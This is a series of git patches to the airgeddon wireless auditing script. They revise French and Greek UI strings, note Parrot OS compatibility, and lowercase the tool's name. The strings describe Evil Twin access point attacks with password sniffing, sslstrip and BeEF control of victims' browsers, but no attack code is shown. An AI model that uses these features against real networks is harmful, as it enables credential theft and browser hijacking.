Она будет работать только если BeEF уже установлен правильно, и ваша единственная проблема, это скрипт не обнаруживает его" - arr["GREEK",408]="${pending_of_translation} Εάν έχετε εγκαταστήσει το BeEF με το χέρι, Airgeddon μπορεί να μην είναι σε θέση να το βρείτε και την επιλογή επίθεση μπορεί να εμφανιστεί ως περιορισμένη. Μπορείτε να προσπαθήσετε να το λύσετε χρησιμοποιώντας την ειδική επιλογή μενού για να διορθώσετε αυτό. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μοναδικό πρόβλημά σας είναι το σενάριο δεν είναι αυτό που ανιχνεύει" + arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το Airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φαίνεται περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημά είναι ότι το script δεν το εντοπίζει" arr["ENGLISH",409]="1. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",409]="1. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" @@ -3811,7 +3811,7 @@ function language_strings() { arr["CATALAN",410]="${pending_of_translation} 2. Intentar solucionar problema de dependència BeEF instal·lat manualment" arr["PORTUGUESE",410]="${pending_of_translation} 2. Tente resolver BeEF problema de dependência instalado manualmente" arr["RUSSIAN",410]="${pending_of_translation} 2. Попробуйте устранить проблему вручную установлена зависимость BeEF" - arr["GREEK",410]="${pending_of_translation} 2. Προσπαθήστε να αντιμετωπίσετε εγκατασταθεί χειροκίνητα το πρόβλημα της εξάρτησης από το BeEF" + arr["GREEK",410]="2. Προσπαθήστε να αντιμετωπίσετε το πρόβλημα με τα dependencies του χειροκίνητα εγκατεστημένου BeEF" arr["ENGLISH",411]="3. Return to Evil Twin attacks menu" arr["SPANISH",411]="3. Volver al menú de ataques Evil Twin" @@ -3827,7 +3827,7 @@ function language_strings() { arr["CATALAN",412]="${pending_of_translation} No necessites realitzar aquesta acció. El teu BeEF està operatiu" arr["PORTUGUESE",412]="${pending_of_translation} Você não precisa fazer isso. Suo BeEF está operacional" arr["RUSSIAN",412]="${pending_of_translation} Вам не нужно, чтобы выполнить это действие. Ваш BeEF находится в рабочем состоянии" - arr["GREEK",412]="${pending_of_translation} Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. BeEF σας είναι λειτουργική" + arr["GREEK",412]="Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. Το BeEF λειτουργεί κανονικά" arr["ENGLISH",413]="Airgeddon fixed the problem. Your BeEF is operational" arr["SPANISH",413]="Airgeddon ha solucionado el problema. Tu BeEF está operativo" @@ -3835,7 +3835,7 @@ function language_strings() { arr["CATALAN",413]="${pending_of_translation} Airgeddon ha solucionat el problema. El teu BeEF està operatiu" arr["PORTUGUESE",413]="${pending_of_translation} Airgeddon corrigiu o problema. Suo BeEF está operacional" arr["RUSSIAN",413]="${pending_of_translation} Airgeddon устранило проблему. Ваш BeEF находится в рабочем состоянии" - arr["GREEK",413]="${pending_of_translation} Airgeddon σταθερό το πρόβλημα. BeEF σας είναι λειτουργική" + arr["GREEK",413]="Το airgeddon διόρθωσε το πρόβλημα. Το BeEF λειτουργεί κανονικά" arr["ENGLISH",414]="You don't have curl installed. Is not possible to download PINs database file" arr["SPANISH",414]="No tienes curl instalado. No se puede descargar el fichero de la base de datos de PINs" @@ -3843,7 +3843,7 @@ function language_strings() { arr["CATALAN",414]="${pending_of_translation} No tens curl instal·lat. No es pot descarregar el fitxer de la base de dades de PINs" arr["PORTUGUESE",414]="${pending_of_translation} Você não tem curl instalado. Você não pode baixar o arquivo de os PINs de banco de dados" arr["RUSSIAN",414]="${pending_of_translation} У вас не установлен curl. Не возможно загрузить файл базы данных PINs" - arr["GREEK",414]="${pending_of_translation} Δεν έχετε εγκατεστημένο curl. Δεν είναι δυνατόν να κατεβάσετε τα PIN αρχείου βάσης δεδομένων" + arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" case "${3}" in "yellow") From ee6c53c33136c54ec34ee188afd4689880cdfe04 Mon Sep 17 00:00:00 2001 From: Sotiris Roussis Date: Wed, 18 Jan 2017 19:00:54 +0200 Subject: [PATCH 31/55] Updated missing Greek translations, corrected some uppercase characters --- airgeddon.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 7714751bb..32a9e899e 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1339,7 +1339,7 @@ function language_strings() { arr["CATALAN",101]="Menú principal airgeddon" arr["PORTUGUESE",101]="Menu principal airgeddon" arr["RUSSIAN",101]="Главное меню Airgeddon" - arr["GREEK",101]="Αρχικό μενού Airgeddon" + arr["GREEK",101]="Αρχικό μενού airgeddon" arr["ENGLISH",102]="DoS attacks menu" arr["SPANISH",102]="Menú ataques DoS" @@ -2059,7 +2059,7 @@ function language_strings() { arr["CATALAN",191]="${pending_of_translation} Airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ¿Vols introduir-la manualment? ${normal_color}[y/n]" arr["PORTUGUESE",191]="${pending_of_translation} Airgeddon não conseguiu encontrar o caminho para o diretório onde você instalou BeEF. Você quer inseri-lo manualmente? ${normal_color}[y/n]" arr["RUSSIAN",191]="${pending_of_translation} Airgeddon не может найти путь к каталогу, где вы установили BeEF. Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" - arr["GREEK",191]="${pending_of_translation} Airgeddon δεν μπορεί να βρει το δρόμο κατάλογο όπου έχετε εγκαταστήσει το BeEF σας. Θέλετε να το εισάγετε με το χέρι; ${normal_color}[y/n]" + arr["GREEK",191]="Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" arr["ENGLISH",192]="You already have selected a BSSID during this session and is present in capture file [${normal_color}${bssid}${blue_color}]" arr["SPANISH",192]="Ya tienes seleccionado un BSSID en esta sesión y está presente en el fichero de captura [${normal_color}${bssid}${blue_color}]" @@ -3795,7 +3795,7 @@ function language_strings() { arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que Airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" arr["PORTUGUESE",408]="${pending_of_translation} Se BeEF instalado manualmente, você pode não Airgeddon ser capaz de encontrar e opção de ataque aparecerá restrito. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não detecta" arr["RUSSIAN",408]="${pending_of_translation} Если вы установили вручную BeEF, Airgeddon может быть не в состоянии найти это и вариант атаки может появиться как ограничено. Вы можете попытаться решить эту проблему с помощью специального пункта меню, чтобы исправить это. Она будет работать только если BeEF уже установлен правильно, и ваша единственная проблема, это скрипт не обнаруживает его" - arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το Airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φαίνεται περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημά είναι ότι το script δεν το εντοπίζει" + arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φαίνεται περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημά είναι ότι το script δεν το εντοπίζει" arr["ENGLISH",409]="1. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",409]="1. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" From cbb4d67b2e1df00fe20cc8c5ac0791f0104dc0c6 Mon Sep 17 00:00:00 2001 From: kcdtv Date: Thu, 19 Jan 2017 12:39:08 +0100 Subject: [PATCH 32/55] Update airgeddon.sh French translation --- airgeddon.sh | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 32a9e899e..cf539a744 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -518,7 +518,7 @@ function language_strings() { et_misc_texts["ENGLISH",27]="This attack has two parts. Watch the sniffer's screen to see if a password appears. You can also open BeEF control panel at ${white_color}${beef_control_panel_url}${pink_color} , log in (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) and try to control the clients browser" et_misc_texts["SPANISH",27]="Este ataque tiene dos partes. Estate atento a la pantalla del sniffer para ver si aparece alguna contraseña. También puedes abrir el panel de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , hacer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e intentar controlar el navegador de los clientes" - et_misc_texts["FRENCH",27]="${pending_of_translation} Cette attaque comporte deux parties. Vérifiez pendant l'attaque dans la console du sniffeur si un mot de passe a été capturé. Vous pouvez également ouvrir le BeEF du panneau de commande dans ${white_color}${beef_control_panel_url}${pink_color} , pour vous connecter (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) et essayer de contrôler le navigateur client" + et_misc_texts["FRENCH",27]="Cette attaque comporte deux parties. Vérifiez pendant l'attaque dans la console du sniffeur si un mot de passe a été capturé. Vous pouvez également ouvrir le BeEF du panneau de commande dans ${white_color}${beef_control_panel_url}${pink_color} , pour vous connecter (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) et essayer de contrôler le navigateur client" et_misc_texts["CATALAN",27]="Aquest atac té dues parts. Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya. També pots obrir el panell de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , fer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i intentar controlar el navegador dels clients" et_misc_texts["PORTUGUESE",27]="${pending_of_translation} Este ataque tem duas partes. Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha. Você também pode abrir BeEF painel de controle no ${white_color}${beef_control_panel_url}${pink_color} , para login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e tentar controlar o navegador do clientes" et_misc_texts["RUSSIAN",27]="Эта атака идёт по двум направлениям. Вы можете наблюдать за окном сниффера, чтобы отследить появление пароля. Также можете перейти в панель управления BeEF ${white_color}${beef_control_panel_url}${pink_color} , учётные данные для входа (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" @@ -3727,7 +3727,7 @@ function language_strings() { arr["ENGLISH",400]="On Evil Twin attack with BeEF integrated, in addition to obtaining keys using sniffing techniques, you can try to control the client's browser launching numerous attack vectors. The success of these will depend on many factors such as the kind of client's browser and its version" arr["SPANISH",400]="En el ataque Evil Twin con BeEF integrado, además de obtener claves con sniffing, podrás intentar controlar el navegador de los clientes lanzando numerosos vectores de ataque. El éxito de estos dependerá de muchos factores como el tipo de navegador y la versión que utilice el cliente" - arr["FRENCH",400]="${pending_of_translation} Dans l'attaque Evil Twin avec BeEF intégré, plus obtenir les clés avec reniflant, vous pouvez essayer de contrôler le navigateur du client lançant de nombreux vecteurs d'attaque. Le succès de ces dépendent de nombreux facteurs tels que le type et version du navigateur utilisé par le client" + arr["FRENCH",400]="Avec l'attaque Evil Twin plus BeEF il est possible obtenir les clés en sniffant, mais pas seulement. Vous pouvez essayer de prendre le contrôle du navigateur web de la vicitme. Le succès des attaques proposées dépendra, entre autre, de la version du navigateur installé" arr["CATALAN",400]="En l'atac Evil Twin amb Beef integrat, a més d'obtenir claus amb sniffing, podràs intentar controlar el navegador dels clients llançant nombrosos vectors d'atac. L'èxit d'aquests dependrà de molts factors com el tipus de navegador i la versió que utilitzi el client" arr["PORTUGUESE",400]="${pending_of_translation} No ataque Evil Twin com carne integrado, além de obter chaves com sniffing, você pode tentar controlar o navegador do cliente lançando inúmeros vetores de ataque. O sucesso destes dependerá de muitos fatores, tais como tipo de navegador e versão utilizada pelo cliente" arr["RUSSIAN",400]="С атакой Злой Двойник в дополнении к получению паролей, применяя техники сниффинга, вы можете попробовать контролировать клиентский браузер, запуская атаки по ряду векторов. Их успех зависит от многих факторов, в том числе от типа и версии клиентского браузера" @@ -3735,7 +3735,7 @@ function language_strings() { arr["ENGLISH",401]="The beef package you have installed is not BeEF (Browser Exploitation Framework). You have Beef (Flexible Brainfuck interpreter) installed. Both executables have the same name and can lead to confusion. Uninstall it and install what airgeddon needs if you want to use that feature. Installation guide: ${beef_installation_url}" arr["SPANISH",401]="El paquete beef que tienes instalado no es BeEF (Browser Exploitation Framework). Tienes instalado Beef (Flexible Brainfuck interpreter). Ambos ejecutables se llaman igual y puede dar lugar a confusión. Desinstálalo e instala el que airgeddon necesita si quieres usar esa característica. Guía de instalación: ${beef_installation_url}" - arr["FRENCH",401]="${pending_of_translation} Le paquet de beef que vous avez installé est pas BeEF (Browser Exploitation Framework). Vous avez installé Beef (Flexible Brainfuck interpreter). Les deux même nom exécutable et peut conduire à la confusion. Désinstallez et installez airgeddon besoin si vous souhaitez utiliser cette fonctionnalité. Guide d'installation: ${beef_installation_url}" + arr["FRENCH",401]="Le paquet beef installé n'est pas le bon: Vous avez installé Beef (Flexible Brainfuck interpreter) et vous devez installer BeEF (Browser Exploitation Framework). Les deux ont le même nom et peut induire en erreur. Désinstallez et installez la version dont airgeddon a besoin si vous souhaitez utiliser cette fonctionnalité. Guide d'installation: ${beef_installation_url}" arr["CATALAN",401]="El paquet beef que tens instal·lat no és BeEF (Browser Exploitation Framework). Tens instal·lat Beef (Flexible Brainfuck interpreter). Tots dos executables es diuen igual i pot donar lloc a confusió. Desinstalalo i instal·la el que airgeddon necessita si vols utilitzar aquesta característica. Guia d'instal·lació: ${beef_installation_url}" arr["PORTUGUESE",401]="${pending_of_translation} O beef de ter instalado não é BeEF (Browser Exploitation Framework). Você instalou Beef (Flexible Brainfuck interpreter). Ambos mesmo nome executável e pode levar a confusão. Desinstalá-lo e instalá-lo airgeddon precisa se você quiser usar esse recurso. Guia de Instalação: ${beef_installation_url}" arr["RUSSIAN",401]="${pending_of_translation} Пакет beef вы установили не BeEF (Browser Exploitation Framework). У вас есть Beef (Flexible Brainfuck interpreter) установлен. Оба исполняемые файлы имеют одинаковое имя и может привести к путанице. Удалите его и установить, что airgeddon потребности, если вы хотите использовать эту функцию. Инструкция по установке: ${beef_installation_url}" @@ -3743,7 +3743,7 @@ function language_strings() { arr["ENGLISH",402]="Enter the absolute path of the directory where BeEF is installed :" arr["SPANISH",402]="Introduce la ruta absoluta del directorio donde está instalado BeEF :" - arr["FRENCH",402]="${pending_of_translation} Entrez le chemin absolu du répertoire où BeEF est installé :" + arr["FRENCH",402]="Entrez la route absolue vers le dossier où BeEF est installé :" arr["CATALAN",402]="${pending_of_translation} Introdueix la ruta absoluta del directori on està instal·lat BeEF :" arr["PORTUGUESE",402]="${pending_of_translation} Digite o caminho absoluto do diretório onde BeEF está instalado :" arr["RUSSIAN",402]="${pending_of_translation} Введите абсолютный путь к каталогу, в котором установлен BeEF :" @@ -3751,7 +3751,7 @@ function language_strings() { arr["ENGLISH",403]="The directory you entered doesn't exist" arr["SPANISH",403]="El directorio introducido no existe" - arr["FRENCH",403]="${pending_of_translation} N'existe pas le répertoire entré" + arr["FRENCH",403]="Le dossier indiqué n'existe pas" arr["CATALAN",403]="${pending_of_translation} El directori introduït no existeix" arr["PORTUGUESE",403]="${pending_of_translation} O diretório digitado não existe" arr["RUSSIAN",403]="${pending_of_translation} Каталог, который вы ввели, не существует" @@ -3759,7 +3759,7 @@ function language_strings() { arr["ENGLISH",404]="The entered path isn't absolute. An absolute path must always begin with \"/\"" arr["SPANISH",404]="La ruta introducida no es absoluta. Una ruta absoluta siempre debe comenzar por \"/\"" - arr["FRENCH",404]="${pending_of_translation} Le chemin d'accès entré est pas absolue. Un chemin absolu doit toujours commencer par \"/\"" + arr["FRENCH",404]="La route saisie n'est pas absolue. Une route absolue doit toujours commencer par \"/\"" arr["CATALAN",404]="${pending_of_translation} La ruta introduïda no és absoluta. Una ruta absoluta sempre ha de començar per \"/\"" arr["PORTUGUESE",404]="${pending_of_translation} O caminho digitado não é absoluta. Um caminho absoluto deve sempre começar com \"/\"" arr["RUSSIAN",404]="${pending_of_translation} Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" @@ -3767,7 +3767,7 @@ function language_strings() { arr["ENGLISH",405]="Checking BeEF..." arr["SPANISH",405]="Comprobando BeEF..." - arr["FRENCH",405]="${pending_of_translation} Vérification BeEF..." + arr["FRENCH",405]="Vérification de BeEF..." arr["CATALAN",405]="${pending_of_translation} Comprovant BeEF..." arr["PORTUGUESE",405]="${pending_of_translation} Verificando BeEF..." arr["RUSSIAN",405]="${pending_of_translation} проверка BeEF..." @@ -3775,7 +3775,7 @@ function language_strings() { arr["ENGLISH",406]="No BeEF executable was detected in given directory" arr["SPANISH",406]="No se ha detectado un ejecutable de BeEF en el directorio indicado" - arr["FRENCH",406]="${pending_of_translation} Il n'a pas détecté un BeEF exécutable dans le répertoire spécifié" + arr["FRENCH",406]="BeEF n'est pas présent dans le dossierque vous avez indiqué" arr["CATALAN",406]="${pending_of_translation} No s'ha detectat un executable de BeEF al directori indicat" arr["PORTUGUESE",406]="${pending_of_translation} Não detectou um BeEF executável no diretório especificado" arr["RUSSIAN",406]="${pending_of_translation} Ни один исполняемый файл BeEF не был обнаружен в заданной директории" @@ -3791,7 +3791,7 @@ function language_strings() { arr["ENGLISH",408]="If you installed BeEF manually, Airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que Airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" - arr["FRENCH",408]="${pending_of_translation} Si BeEF installé manuellement, vous pouvez Airgeddon ne pas être en mesure de trouver et de l'option d'attaque apparaîtra restreinte. Vous pouvez essayer de le réparer en utilisant l'option de menu spécial pour cela. Cela ne fonctionnera que si BeEF est déjà installé avec succès et le seul problème que vous avez est que le script ne détecte pas" + arr["FRENCH",408]="Si BeEF a été installé manuellement, il se peut qu'Airgeddon ne soit pas en mesure de le trouver. L'option dédiée ne sera pas accessible. Vous pouvez essayer de la réparer en utilisant l'option consacrée à cette tâche depuis le menu spécial. Ça ne marchera que si Beef est correctement instalé et c'est le script qui n'est pas capable de le détecter" arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que Airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" arr["PORTUGUESE",408]="${pending_of_translation} Se BeEF instalado manualmente, você pode não Airgeddon ser capaz de encontrar e opção de ataque aparecerá restrito. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não detecta" arr["RUSSIAN",408]="${pending_of_translation} Если вы установили вручную BeEF, Airgeddon может быть не в состоянии найти это и вариант атаки может появиться как ограничено. Вы можете попытаться решить эту проблему с помощью специального пункта меню, чтобы исправить это. Она будет работать только если BeEF уже установлен правильно, и ваша единственная проблема, это скрипт не обнаруживает его" @@ -3807,7 +3807,7 @@ function language_strings() { arr["ENGLISH",410]="2. Try to troubleshoot manually installed BeEF dependency problem" arr["SPANISH",410]="2. Intentar solucionar problema de dependencia BeEF instalado manualmente" - arr["FRENCH",410]="${pending_of_translation} 2. Essayez de résoudre BeEF problème de dépendance installé manuellement" + arr["FRENCH",410]="2. Essayez de résoudre le problème BeEF installé manuellement" arr["CATALAN",410]="${pending_of_translation} 2. Intentar solucionar problema de dependència BeEF instal·lat manualment" arr["PORTUGUESE",410]="${pending_of_translation} 2. Tente resolver BeEF problema de dependência instalado manualmente" arr["RUSSIAN",410]="${pending_of_translation} 2. Попробуйте устранить проблему вручную установлена зависимость BeEF" @@ -3823,7 +3823,7 @@ function language_strings() { arr["ENGLISH",412]="You don't need to perform this action. Your BeEF is operational" arr["SPANISH",412]="No necesitas realizar esta acción. Tu BeEF está operativo" - arr["FRENCH",412]="${pending_of_translation} Vous n'êtes pas obligé de le faire. Votre BeEF est opérationnel" + arr["FRENCH",412]="Vous n'êtes pas obligé de le faire. BeEF est opérationnel" arr["CATALAN",412]="${pending_of_translation} No necessites realitzar aquesta acció. El teu BeEF està operatiu" arr["PORTUGUESE",412]="${pending_of_translation} Você não precisa fazer isso. Suo BeEF está operacional" arr["RUSSIAN",412]="${pending_of_translation} Вам не нужно, чтобы выполнить это действие. Ваш BeEF находится в рабочем состоянии" @@ -3831,7 +3831,7 @@ function language_strings() { arr["ENGLISH",413]="Airgeddon fixed the problem. Your BeEF is operational" arr["SPANISH",413]="Airgeddon ha solucionado el problema. Tu BeEF está operativo" - arr["FRENCH",413]="${pending_of_translation} Airgeddon a résolu le problème. Votre BeEF est opérationnel" + arr["FRENCH",413]="Airgeddon a résolu le problème. BeEF est opérationnel" arr["CATALAN",413]="${pending_of_translation} Airgeddon ha solucionat el problema. El teu BeEF està operatiu" arr["PORTUGUESE",413]="${pending_of_translation} Airgeddon corrigiu o problema. Suo BeEF está operacional" arr["RUSSIAN",413]="${pending_of_translation} Airgeddon устранило проблему. Ваш BeEF находится в рабочем состоянии" @@ -3839,7 +3839,7 @@ function language_strings() { arr["ENGLISH",414]="You don't have curl installed. Is not possible to download PINs database file" arr["SPANISH",414]="No tienes curl instalado. No se puede descargar el fichero de la base de datos de PINs" - arr["FRENCH",414]="${pending_of_translation} Vous ne disposez pas de curl installé. Vous ne pouvez pas télécharger le fichier à partir des PINs de base de données" + arr["FRENCH",414]="Curl n'est pas installé. Vous ne pouvez pas télécharger le fichier de la base de donées PIN" arr["CATALAN",414]="${pending_of_translation} No tens curl instal·lat. No es pot descarregar el fitxer de la base de dades de PINs" arr["PORTUGUESE",414]="${pending_of_translation} Você não tem curl instalado. Você não pode baixar o arquivo de os PINs de banco de dados" arr["RUSSIAN",414]="${pending_of_translation} У вас не установлен curl. Не возможно загрузить файл базы данных PINs" From d4b94a8a16f339038f8a797223ea499639a2a918 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 19 Jan 2017 21:11:37 +0100 Subject: [PATCH 33/55] Added compatibility for Parrot 3.4.1 --- CHANGELOG.md | 2 +- README.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a4281a56f..f0a05c24b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ - Colors changed. Now blocking errors in red - License and changelog files updated to markdown format - Updated minimum bash version check (v4.2) - - Tested compatibility with OpenSUSE 42.2 + - Tested compatibility with OpenSUSE 42.2 and Parrot 3.4.1 ###5.14 - Timeout changed while searching for "bad FCS" to avoid problems in old systems diff --git a/README.md b/README.md index 2c5fb6f23..c6ee72f80 100644 --- a/README.md +++ b/README.md @@ -40,7 +40,7 @@ Tested on these compatible Linux distros:
*-Kali 2.0, 2016.1, 2016.2 and arm versions (Raspberry Pi)*
*-Wifislax 4.11.1, 4.12 and 64-1.0*
*-Backbox 4.5.1 and 4.6*
-*-Parrot 2.2.1, 3.1.1 and arm versions (Raspberry Pi)*
+*-Parrot 2.2.1 to 3.4.1 and arm versions (Raspberry Pi)*
*-BlackArch 2016.01.10 to 2016.12.29*
*-Cyborg Hawk 1.1*
*-Debian 7 (Wheezy) and 8 (Jessie)*
From 631b804604e4e2bd0e4d8a822464f344b781cbb7 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 19 Jan 2017 21:12:10 +0100 Subject: [PATCH 34/55] Forgotten changelog line added --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index f0a05c24b..2797decbd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - License and changelog files updated to markdown format - Updated minimum bash version check (v4.2) - Tested compatibility with OpenSUSE 42.2 and Parrot 3.4.1 + - Fixed error trying to download PIN db file on WPS attacks when curl isn't installed ###5.14 - Timeout changed while searching for "bad FCS" to avoid problems in old systems From d2333b47d6c2b9bf98297a61657b9822328bd5d7 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 19 Jan 2017 21:29:05 +0100 Subject: [PATCH 35/55] airgeddon name standarization to lowercase --- README.md | 4 +-- airgeddon.sh | 78 ++++++++++++++++++++++++++-------------------------- 2 files changed, 41 insertions(+), 41 deletions(-) diff --git a/README.md b/README.md index c6ee72f80..59922fe6f 100644 --- a/README.md +++ b/README.md @@ -54,7 +54,7 @@ Tested on these compatible Linux distros:
*-Raspbian 7 (Wheezy) and 8 (Jessie) (Raspberry Pi)*
*-OpenMandriva LX3*
-Airgeddon is already included in some Linux distros and repositories: +airgeddon is already included in some Linux distros and repositories: - Wifislax 4.12, 64-1.0 or higher. - BlackArch first 2017 release or later. - ArchStrike repository. @@ -149,7 +149,7 @@ You can take the strings to translate from the code. All the stuff to translate Debug mode was implemented for faster development skipping intro and initial checks. Use it setting var *"debug_mode"* to 1
Please, respect the tab indentation, code style and the UTF-8 files format only using at the end of the lines LF (not CRLF).
Direct push on master is not allowed, and pull requests require revision and approvement.
-Airgeddon code is 100% clean of warnings. Use [Shellcheck](https://github.com/koalaman/shellcheck) to search for errors and warnings on code. <- Thanks xtonousou for the tip :wink: +airgeddon code is 100% clean of warnings. Use [Shellcheck](https://github.com/koalaman/shellcheck) to search for errors and warnings on code. <- Thanks xtonousou for the tip :wink: *For beta testers:*
You can download the master version or the beta testing version from the development branch called `dev`. Sometimes there are other temporary branches for specific features that can be tested too. diff --git a/airgeddon.sh b/airgeddon.sh index cf539a744..805ebd501 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -364,13 +364,13 @@ function language_strings() { et_misc_texts["RUSSIAN",7]="Клиенты ещё не подключены" et_misc_texts["GREEK",7]="Ακόμα, κανένας συνδεδεμένος χρήστης" - et_misc_texts["ENGLISH",8]="Airgeddon. Evil Twin attack captured passwords" - et_misc_texts["SPANISH",8]="Airgeddon. Contraseñas capturadas en ataque Evil Twin" - et_misc_texts["FRENCH",8]="Airgeddon. Mots de passe capturés par attaque Evil Twin" - et_misc_texts["CATALAN",8]="Airgeddon. Contrasenyes capturades amb atac Evil Twin" - et_misc_texts["PORTUGUESE",8]="Airgeddon. Senhas capturado no ataque ataque Evil Twin" - et_misc_texts["RUSSIAN",8]="Airgeddon. Атака Злой Двойник захватила пароли" - et_misc_texts["GREEK",8]="Airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς πρόσβασης" + et_misc_texts["ENGLISH",8]="airgeddon. Evil Twin attack captured passwords" + et_misc_texts["SPANISH",8]="airgeddon. Contraseñas capturadas en ataque Evil Twin" + et_misc_texts["FRENCH",8]="airgeddon. Mots de passe capturés par attaque Evil Twin" + et_misc_texts["CATALAN",8]="airgeddon. Contrasenyes capturades amb atac Evil Twin" + et_misc_texts["PORTUGUESE",8]="airgeddon. Senhas capturado no ataque ataque Evil Twin" + et_misc_texts["RUSSIAN",8]="airgeddon. Атака Злой Двойник захватила пароли" + et_misc_texts["GREEK",8]="airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς πρόσβασης" et_misc_texts["ENGLISH",9]="Wireless network, ESSID:" et_misc_texts["SPANISH",9]="Red inalámbrica, ESSID:" @@ -452,13 +452,13 @@ function language_strings() { et_misc_texts["RUSSIAN",18]="Пароль верен, подключение устанавливается" et_misc_texts["GREEK",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα αποκατασταθεί σε λίγα λεπτά" - et_misc_texts["ENGLISH",19]="Airgeddon. Captive portal Evil Twin attack captured password" - et_misc_texts["SPANISH",19]="Airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" - et_misc_texts["FRENCH",19]="Airgeddon. Mot de passe capturé par le portail captif de l'attaque Evil Twin" - et_misc_texts["CATALAN",19]="Airgeddon. Contrasenya capturada al portal captiu de l'atac Evil Twin" - et_misc_texts["PORTUGUESE",19]="Airgeddon. Senha capturada no ataque Evil Twin portal cativo" - et_misc_texts["RUSSIAN",19]="Airgeddon. Атака Злой Двойник + Перехватывающий портал захватили пароль" - et_misc_texts["GREEK",19]="Airgeddon. Η επίθεση Evil Twin με captive portal κατέγραψε τον κωδικό πρόσβασης" + et_misc_texts["ENGLISH",19]="airgeddon. Captive portal Evil Twin attack captured password" + et_misc_texts["SPANISH",19]="airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" 